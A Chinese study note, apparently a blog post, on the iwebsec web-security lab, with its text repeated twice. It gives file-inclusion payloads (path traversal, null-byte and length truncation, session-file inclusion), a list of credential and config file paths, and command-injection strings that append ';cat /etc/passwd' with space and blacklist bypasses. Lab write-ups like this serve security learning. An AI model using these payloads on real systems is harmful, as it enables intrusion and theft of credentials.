iwebsec学习笔记
file=php://filter/read=convert.base64-encode/resource=index.php
SQL注入
留坑
文件上传
留坑
文件包含
1、http://xx:xx:xx:xx:xx/fi/01.php
http://xx:xx:xx:xx:xx/fi/01.php?filename=../../../../etc/passwd
用../不断返回上一层,然后重新打开敏感文件
Linux/Unix系统:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
Windows系统:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
还可以参考:https://blog.csdn.net/doulicau/article/details/106683724
灵活使用
2、http://xx:xx:xx:xx:xx/fi/02.php
(1):%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4)
http://xx:xx:xx:xx:xx/fi/02.php?filename=../../../../etc/passwd%00
同时放上一些其他的截断方法
(2)路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096
EXP
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
(3)点号截断
条件:windows OS,点号需要长于256
EXP
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
参考自:https://blog.csdn.net/Vansnc/article/details/82528395
3、http://xx.xx.xx.xx:xx/fi/03.php
session本地文件包含
前提需要一个本地文件包含,比如iwebsec中的前面两个
然后就能更好的利用session本地文件包含
session路径:
Linux:
在这里的docker镜像中,php版本是PHP Version 5.2.17。session路径一般是/var/lib/php/session/
windows:
像我用的phpstudy一键搭建的环境,php版本为PHP 5.4.45。session路径是E:\phpStudy\PHPTutorial\tmp\tmp
session_start()解释:
1.session的工作原理
(1)首先使用session_start()函数进行初始换
(2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
(3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。2.sessionstart()做了哪些初始化工作(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。(2.1)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;(2.2) 若没有读取到PHPSESSID这个COOKIE,也会创建SESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。
漏洞分析
此php会将获取到的GET型ctfs变量的值存入到session中。当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。session的文件名为sess+sessionid,sessionid可以通过在浏览器F12的网络中获取
这里payload为http://xx.xx.xx.xx:xx/fi/03.php?iwebsec=<?phpphpinfo();?>
F12查看cookies中的PHPSESSID为dg4cqgdu1t7t7a9nb375169qr0
进入服务器查看文件
`1q2w3wwewq2e23
成功写入
用之前的本地文件包含漏洞读取这个文件
payload:http://xx.xx.xx.xx:xx/fi/01.php?filename=../../../../var/lib/php/session/sess_dg4cqgdu1t7t7a9nb375169qr0
- php://filter伪协议
- php://input伪协议
- file://伪协议利用
- data://伪协议利用
命令执行
1、
url:http://ip:32110/exec/01.php?ip=127.0.0.1
可以猜测是ifconfig ip
在后面加上 ; 分隔开
http://ip:32110/exec/01.php?ip=127.0.0.1;cat /etc/passwd
2、
第二个是空格绕过,如果参数中出现了空格,直接报error
URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%20/etc/passwd
在linux bash中可以用以下几个符号代替空格
<
${IFS}
$IFS$9
如果是PHP环境,也可以用%09
URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd
3、
第三个是黑名单,关键命令绕过
cat命令被拉进黑名单了
用a=ca;b=t;$a$b /etc/passwd绕过。
URL:http://IP:32110/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd
4、
5、
代码执行
留坑
xss
留坑
SSRF
留坑
XXE
留坑
反序列化
留坑
中间件漏洞
留坑
解析漏洞
留坑
数据库漏洞
留坑
------------恢复内容开始------------
file=php://filter/read=convert.base64-encode/resource=index.php
SQL注入
留坑
文件上传
留坑
文件包含
1、http://xx:xx:xx:xx:xx/fi/01.php
http://xx:xx:xx:xx:xx/fi/01.php?filename=../../../../etc/passwd
用../不断返回上一层,然后重新打开敏感文件
Linux/Unix系统:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
Windows系统:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
还可以参考:https://blog.csdn.net/doulicau/article/details/106683724
灵活使用
2、http://xx:xx:xx:xx:xx/fi/02.php
(1):%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4)
http://xx:xx:xx:xx:xx/fi/02.php?filename=../../../../etc/passwd%00
同时放上一些其他的截断方法
(2)路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096
EXP
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
(3)点号截断
条件:windows OS,点号需要长于256
EXP
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
参考自:https://blog.csdn.net/Vansnc/article/details/82528395
3、http://xx.xx.xx.xx:xx/fi/03.php
session本地文件包含
前提需要一个本地文件包含,比如iwebsec中的前面两个
然后就能更好的利用session本地文件包含
session路径:
Linux:
在这里的docker镜像中,php版本是PHP Version 5.2.17。session路径一般是/var/lib/php/session/
windows:
像我用的phpstudy一键搭建的环境,php版本为PHP 5.4.45。session路径是E:\phpStudy\PHPTutorial\tmp\tmp
session_start()解释:
1.session的工作原理
(1)首先使用session_start()函数进行初始换
(2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
(3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。2.sessionstart()做了哪些初始化工作(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。(2.1)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;(2.2) 若没有读取到PHPSESSID这个COOKIE,也会创建SESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。
漏洞分析
此php会将获取到的GET型ctfs变量的值存入到session中。当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。session的文件名为sess+sessionid,sessionid可以通过在浏览器F12的网络中获取
这里payload为http://xx.xx.xx.xx:xx/fi/03.php?iwebsec=<?phpphpinfo();?>
F12查看cookies中的PHPSESSID为dg4cqgdu1t7t7a9nb375169qr0
进入服务器查看文件
`1q2w3wwewq2e23
成功写入
用之前的本地文件包含漏洞读取这个文件
payload:http://xx.xx.xx.xx:xx/fi/01.php?filename=../../../../var/lib/php/session/sess_dg4cqgdu1t7t7a9nb375169qr0
- php://filter伪协议
- php://input伪协议
- file://伪协议利用
- data://伪协议利用
命令执行
1、
url:http://ip:32110/exec/01.php?ip=127.0.0.1
可以猜测是ifconfig ip
在后面加上 ; 分隔开
http://ip:32110/exec/01.php?ip=127.0.0.1;cat /etc/passwd
2、
第二个是空格绕过,如果参数中出现了空格,直接报error
URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%20/etc/passwd
在linux bash中可以用以下几个符号代替空格
<
${IFS}
$IFS$9
如果是PHP环境,也可以用%09
URL:http://IP:32110/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd
3、
第三个是黑名单,关键命令绕过
cat命令被拉进黑名单了
用a=ca;b=t;$a$b /etc/passwd绕过。
URL:http://IP:32110/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd
4、
5、
代码执行
留坑
xss
留坑
SSRF
留坑
XXE
留坑
反序列化
留坑
中间件漏洞
留坑
解析漏洞
留坑
数据库漏洞
留坑
------------恢复内容结束------------